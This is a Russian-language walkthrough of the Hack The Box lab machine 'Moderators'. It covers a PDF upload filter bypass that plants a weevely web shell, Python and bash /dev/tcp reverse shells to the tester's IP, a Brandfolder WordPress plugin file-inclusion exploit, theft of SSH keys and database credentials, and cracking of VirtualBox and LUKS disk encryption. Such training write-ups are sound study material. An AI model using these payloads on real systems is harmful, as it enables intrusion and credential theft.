Хакер - HTB Moderators. Ломаем приложение на WordPress и работаем с шифрованным виртуальным жестким диском

Хакер - HTB Moderators. Ломаем приложение на WordPress и работаем с шифрованным виртуальным жестким диском

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Пользователь lexi
  • Пользователь john
  • Локальное повышение привилегий
  • Взлом VirtualBox Disk Encryption
  • Virtual Disk Image mount
  • Взлом LUKS

В этом рай­тапе я покажу, как добыть при­виле­гии на сер­вере через пла­гины WordPress и взло­мать шиф­рован­ный диск VirtualBox. Но пер­вым делом мы получим веб‑шелл в обход филь­тров.

Про­ходить мы будем тре­ниро­воч­ную машину Moderators с пло­щад­ки Hack The Box. Уро­вень — «слож­ный».

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками. 

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.173 moderators.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Наш­ли все­го два откры­тых пор­та: 22 — служ­ба OpenSSH 8.2p1 и 80 — веб‑сер­вер Apache 2.4.41. Естес­твен­но, начина­ем с веб‑сер­вера.

Глав­ная стра­ница сай­та moderators.htb

Поп­робу­ем поис­кать скры­тые фай­лы и катало­ги.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -r — выпол­нять редирек­ты.

Мес­то перебо­ра помеча­ется сло­вом FUZZ.

За­пус­каем:

ffuf -u 'http://moderators.htb/FUZZ' -r -w directory_2.3_medium_lowercase.txt -t 256

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

На­ходим каталог logs, но в дан­ный момент он бес­полезен. Так как осталь­ные стра­ницы име­ют рас­ширение .php, сто­ит поис­кать и популяр­ные PHP-фай­лы.

ffuf -u 'http://moderators.htb/FUZZ.php' -r -w php_files_common.txt -t 256

Ре­зуль­тат ска­ниро­вания фай­лов PHP с помощью ffuf

Дос­туп ко всем стра­ницам, кро­ме reports.php, мы можем получить из меню сай­та. При обра­щении к reports.php нас ждет редирект на глав­ную стра­ницу.

Burp History

ТОЧКА ВХОДА

Чи­тая блог, находим отчет об уяз­вимос­ти XSS, который и при­водит нас на стра­ницу reports.php с парамет­ром report без редирек­та.

Ин­форма­ция об уяз­вимос­ти XSS
Со­дер­жимое отче­та

Так как отчет опре­деля­ется по номеру, я решил эти номера переб­рать. Делать это будем с помощью Burp Intruder.

Burp Intruder — вклад­ка Positions
Burp Intruder — вклад­ка Payloads
Ре­зуль­тат перебо­ра

В ито­ге находим нес­коль­ко стра­ниц. Один из отче­тов откры­вает нам новые пути на сай­те.

Со­дер­жимое отче­та

Пе­ребор содер­жимого катало­га logs ничего не дал, тог­да я решил проб­рутить имя катало­га как хеш, вдруг получит­ся най­ти какую‑нибудь кор­реляцию.

Ре­зуль­тат под­бора про­обра­за

Так узна­ем, что наз­вание катало­га — это резуль­тат хеш‑фун­кции MD5 от номера отче­та. Сле­дующее дей­ствие — най­ти все дос­тупные катало­ги в logs. Переби­рать будем с помощью того же Burp Intruder. Толь­ко теперь добавим к наг­рузке обра­бот­чик, который будет извле­кать из чис­ла хеш.

Burp Intruder — вклад­ка Positions
Burp Intruder — вклад­ка Payloads
Ре­зуль­тат перебо­ра

На­ходим шесть катало­гов, содер­жимое которых, по идее, дол­жно быть иден­тичным. Тог­да я решил переб­рать фай­лы раз­ных фор­матов, и логич­нее все­го начать с PDF.

ffuf -u 'http://moderators.htb/logs/e21cece511f43a5cb18d4932429915ed/FUZZ.pdf' -r -w directory_2.3_medium_lowercase.txt -t 256

Ре­зуль­тат перебо­ра фай­лов PDF

На­ходим иско­мое имя фай­ла — logs.pdf. Вот толь­ко сам файл никакой инте­рес­ной информа­ции не дал.

Со­дер­жимое фай­ла logs.pdf

Но если получить такие фай­лы со всех катало­гов, то нат­кнем­ся на единс­твен­ный содер­жащий полез­ную информа­цию.

Со­дер­жимое полез­ного PDF

И этот отчет рас­кры­вает нам новые пути на сай­те. В этот раз мы при­ходим к стра­нице заг­рузки отче­тов:

http://moderators.htb/logs/report_log_upload.php

Фор­ма заг­рузки отче­тов

ТОЧКА ОПОРЫ

Я поп­робовал заг­рузить прос­той PHP-скрипт:

<?php echo system('id'); ?>

Он дол­жен выпол­нить коман­ду id. Одна­ко в ответ я получил сооб­щение, что мож­но заг­ружать толь­ко PDF.

Ошиб­ка при заг­рузке фай­ла

Тог­да я решил нем­ного поиг­рать с фор­матом PDF, как при спо­собах заг­рузки шел­ла в усло­виях кон­тро­ля фор­мата кар­тинок. Оста­вим слу­жеб­ные мар­керы PDF-фай­ла, а в качес­тве содер­жимого помес­тим исполь­зован­ную ранее наг­рузку.

Заг­рузка фай­ла через Burp Repeater

По­луча­ем сооб­щение, что файл успешно заг­ружен. Но это воз­можно, толь­ко если рас­ширение фай­ла — .pdf. Тог­да я решил исполь­зовать двой­ное рас­ширение фай­ла .pdf.php, так как сер­вис может неп­равиль­но его про­верять.

Заг­рузка фай­ла через Burp Repeater

Файл успешно заг­ружен, но с его выпол­нени­ем воз­ника­ют проб­лемы. Нем­ного повозив­шись с наг­рузкой PHP, я решил перей­ти к про­верен­ному обфусци­рован­ному PHP-шел­лу — weevely3. Генери­руем наг­рузку и заг­ружа­ем на сер­вер.

python3 weevely.py generate r r.pdf.php

Ге­нери­рова­ние наг­рузки
Заг­рузка фай­ла через Burp Repeater

Те­перь исполь­зуем кли­ент weevely для выпол­нения команд.

python3 weevely.py 'http://moderators.htb/logs/uploads/r.pdf.php' r

Тес­тирова­ние RCE

Ко­ман­да выпол­нена, а зна­чит, мы можем кинуть пол­ноцен­ный реверс‑шелл на лис­тенер, который запус­тим коман­дой pwncat_cs -lp 4321.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.22",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Сес­сия поль­зовате­ля www-data

ПРОДВИЖЕНИЕ

Пользователь lexi

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам нуж­но соб­рать информа­цию. Для это­го я зачас­тую при­меняю скрип­ты PEASS, пос­тоян­ные читате­ли с ними хорошо зна­комы.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Скрипт отоб­ража­ет дерево про­цес­сов поль­зовате­ля lexi, где отме­чен запуск веб‑сер­вера. Эту же информа­цию можем узнать из спис­ка активных пор­тов.

Спи­сок про­цес­сов
Прос­лушива­емые пор­ты

Что­бы обра­тить­ся к сер­вису на пор­те 8080, нам нуж­но этот порт про­кинуть, к при­меру с помощью chisel. На локаль­ном хос­те запус­тим сер­вер, ожи­дающий под­клю­чения (параметр --reverse) на порт 5432 (параметр -p).

./chisel.bin server --reverse -p 5432

Ло­ги chisel server

Те­перь на уда­лен­ном хос­те запус­тим кли­ент­скую часть. Ука­зыва­ем адрес сер­вера и порт для под­клю­чения, а так­же параметр тун­неля: про­кинуть порт 8088 с локаль­ного хос­та на порт 8080 уда­лен­ного.

./chisel.bin client 10.10.14.22:5432 R:8088:localhost:8080

Ло­ги chisel client

В логах сер­вера мы дол­жны уви­деть сооб­щение о соз­дании сес­сии.

Ло­ги chisel server

За­ходим на http://localhost:8088 и видим сайт на WordPress.

Вер­сия CMS

Смыс­ла ска­ниро­вать пла­гины нет, так как мы име­ем дос­туп к исходным пап­кам и струк­туре катало­гов. Узнать, какие уста­нов­лены пла­гины, мы можем, заг­лянув в каталог /wp-content/plugins.

Струк­тура катало­га /wp-content/plugins

На­ходим пла­гин для интегра­ции с Brandfolder и менед­жер паролей.

WordPress — плагин Brandfolder

Из фай­ла CHANGELOG мож­но узнать текущую вер­сию пла­гина.

Вер­сия пла­гина Brandfolder

Так как мы зна­ем вер­сию про­дук­та, мож­но поис­кать экс­пло­иты с помощью любого поис­кового движ­ка, к при­меру Google.

По­иск экс­пло­итов с помощью Google

Пер­вая же ссыл­ка выводит нас к базе экс­пло­итов Exploit-DB. И там есть опи­сание уяз­вимос­ти.

Опи­сание уяз­вимос­ти

Мы можем манипу­лиро­вать зна­чени­ем перемен­ной wp_abspath, что поз­волит под­клю­чить про­изволь­ные фай­лы wp-load.php и wp-admin/includes/.... А так как мы име­ем дос­туп к фай­ловой сис­теме, эта уяз­вимость может дать нам не прос­то LFI/RFI, а RCE. Давай соз­дадим каталог:

/var/www/html/logs/uploads/ralf

А в нем — под­клю­чаемый файл wp-load.php со сле­дующим содер­жимым.

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.22/6543 0>&1'"); ?>

Те­перь, что­бы получить бэк­коннект на свой лис­тенер, сде­лаем зап­рос по такому адре­су:

http://localhost:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/var/www/html/logs/uploads/ralf/

Сес­сия поль­зовате­ля lexi

У это­го поль­зовате­ля уже есть ключ SSH, который мы бла­гопо­луч­но забира­ем.

SSH-ключ поль­зовате­ля

А теперь под­клю­чаем­ся по SSH и забира­ем флаг поль­зовате­ля.

Флаг поль­зовате­ля

Пользователь john

WordPress — менеджер паролей

В охо­те за учет­ными дан­ными нам нуж­но прой­ти по всем мес­там, где они потен­циаль­но могут хра­нить­ся. В дан­ном слу­чае спер­ва из фай­ла wp-config.php мы получа­ем логин и пароль для под­клю­чения к базе дан­ных, которую исполь­зует WordPress.

Со­дер­жимое фай­ла wp-config.php

Ис­поль­зовать этот же пароль для вто­рого поль­зовате­ля не получи­лось, поэто­му под­клю­чаем­ся к базе дан­ных и забира­ем хеши паролей для бру­та.

mysql -h localhost -u wordpressuser -D wordpress -pwordpresspassword123!!

select * from wp_users;

Таб­лица с учет­ными дан­ными поль­зовате­лей WordPress

Проб­рутить эти хеши не получи­лось, но мы можем пой­ти даль­ше, ведь у нас есть пла­гин для хра­нения паролей. Что­бы заг­лянуть в него, нам нуж­но авто­ризо­вать­ся от име­ни адми­нис­тра­тора CMS. Так как мы име­ем дос­туп к базе, мож­но прос­то заменить хеш пароля сущес­тву­юще­го поль­зовате­ля сво­им.

WWW

Сге­нери­ровать пароль для WordPress мож­но на сай­те useotools.com.

Я пос­тавил пароль ralf и внес в базу его хеш.

update `wp_users` set `user_pass` = '$P$BjTmd5jwVm0hNn9CO7HEjlNWM.jT/s0' where user_login = 'admin';

Прос­то так авто­ризо­вать­ся на сай­те сра­зу не получит­ся, пос­коль­ку сам сайт будет обра­щать­ся к moderators.htb, а не к 127.0.0.1, как ука­зыва­ем мы. Поэто­му добавим запись в файл /etc/hosts.

127.0.0.1 localhost moderators.htb

Пос­ле авто­риза­ции откры­ваем стра­ницу с пароля­ми, и там нас ждет готовый ключ SSH.

Сох­ранен­ные пароли в WordPress

Сох­раня­ем ключ, наз­нача­ем пра­ва chmod 0600 id_rsa и под­клю­чаем­ся к хос­ту.

Сес­сия поль­зовате­ля john

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

В домаш­нем катало­ге поль­зовате­ля находим фай­лы для вир­туаль­ной машины VirtualBox, а так­же копию перепис­ки, в которой и идет речь об этой вир­туал­ке.

Со­дер­жимое катало­га ~/stuff
Со­дер­жимое перепис­ки

Заг­ружа­ем на локаль­ный хост вир­туаль­ную машину и про­буем запус­тить, но получа­ем ошиб­ку.

scp -i john_id_rsa john@10.10.11.173:~/stuff/VBOX/* ./

Ошиб­ка при добав­лении вир­туаль­ной машины

Взлом VirtualBox Disk Encryption

При­дет­ся открыть файл vbox и нем­ного поп­равить. Спер­ва взгля­нем на раз­дел MediaRegistry. Там уби­раем DVD-при­вод, уби­раем жес­ткий диск Ubuntu.vdi и пра­вим путь к дис­ку 2019.vdi.

Ис­ходные кон­фигура­ции
Из­менен­ные кон­фигура­ции

И чуть под­пра­вим раз­дел StorageControllers, убрав ненуж­ный диск.

Ис­ходные кон­фигура­ции
Из­менен­ные кон­фигура­ции

Те­перь вир­туаль­ную машину мож­но добав­лять в VirtualBox.

Це­левая вир­туаль­ная машина

Но, как мож­но было заметить еще в самом кон­фиге, файл 2019.vdi зашиф­рован. Поэто­му исполь­зуем pyvboxdie-cracker для бру­та пароля.

python3 pyvboxdie-cracker.py -v ../2019-08-01.vbox -d ~/tmp/wordlists/Passwords/1.pass_1564.txt

Ре­зуль­тат работы скрип­та

По­луча­ем не толь­ко исполь­зуемый алго­ритм, но и пароль — computer. Теперь, если запус­тить вир­туаль­ную машину и ввес­ти пароль, обна­ружим, что этот диск не заг­рузоч­ный. Тог­да прос­то при­мон­тиру­ем раз­дел к хос­товой машине, но сна­чала рас­шифру­ем диск через нас­трой­ки вир­туаль­ной машины.

Нас­трой­ки шиф­рования дис­ка

Сни­маем галоч­ку «шиф­рование дис­ков», вво­дим пароль и сох­раня­ем нас­трой­ки. В информа­ции о вир­туаль­ной машине уви­дим, что над­пись рядом с дис­ком изме­нилась с «Шиф­рован­ный» на «Обыч­ный».

Ин­форма­ция о вир­туаль­ной машине

Virtual Disk Image mount

Что­бы мон­тировать вир­туаль­ный диск, нам сна­чала нуж­но заг­рузить драй­вер Network Block Device.

sudo modprobe nbd

Те­перь с помощью qemu-nbd под­клю­чим образ дис­ка, а драй­вер nbd будет исполь­зован для соз­дания блоч­ных устрой­ств и вво­да‑вывода при работе с ними.

sudo qemu-nbd -c /dev/nbd0 ./2019.vdi

А теперь мы можем при­мон­тировать раз­дел /dev/nbd0.

sudo mount /dev/nbd0 /mnt

Мон­тирова­ние обра­за

Но ничего не выходит, так как раз­дел защищен LUKS.

Взлом LUKS

Linux Unified Key Setup — спе­цифи­кация фор­мата шиф­рования дис­ков, нацелен­ная на исполь­зование в ОС с ядром Linux. Глав­ной целью тех­нологии было обес­печить удоб­ный для поль­зовате­ля стан­дарти­зиро­ван­ный спо­соб управле­ния клю­чами.

Так как мы уже име­ем дос­туп к самому раз­делу, мы можем проб­рутить его. Для это­го будем исполь­зовать bruteforce-luks. Что­бы не мучить­ся со сбор­кой, заг­рузим из репози­тория готовые исполня­емые фай­лы.

sudo ./bruteforce-luks-static-linux-amd64 -f 1.pass_1564.txt /dev/nbd0

Ре­зуль­тат перебо­ра пароля LUKS

Мы добыли пароль для LUKS, а зна­чит, можем рас­шифро­вать и мон­тировать раз­дел.

sudo cryptsetup luksOpen /dev/nbd0 newdisk

sudo mount /dev/mapper/newdisk /mnt

Со­дер­жимое дис­ка

На дис­ке есть каталог с про­екта­ми — scripts. Пер­вым делом я решил поис­кать воз­можные пароли. Так находим пароль, исполь­зуемый для sudo при обновле­нии сис­темы.

По­иск паролей

Воз­вра­щаем­ся на уда­лен­ную машину и про­буем най­ден­ный пароль sudo.

Флаг рута

Ма­шина зах­вачена, и флаг рута у нас, но еще нуж­но убрать за собой на сво­ей локаль­ной машине все, что мы намон­тирова­ли:

sudo umount /mnt

sudo cryptsetup luksClose /dev/mapper/newdisk

sudo qemu-nbd -d /dev/nbd0

sudo modprobe -r nbd

Те­перь точ­но все!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei




Report Page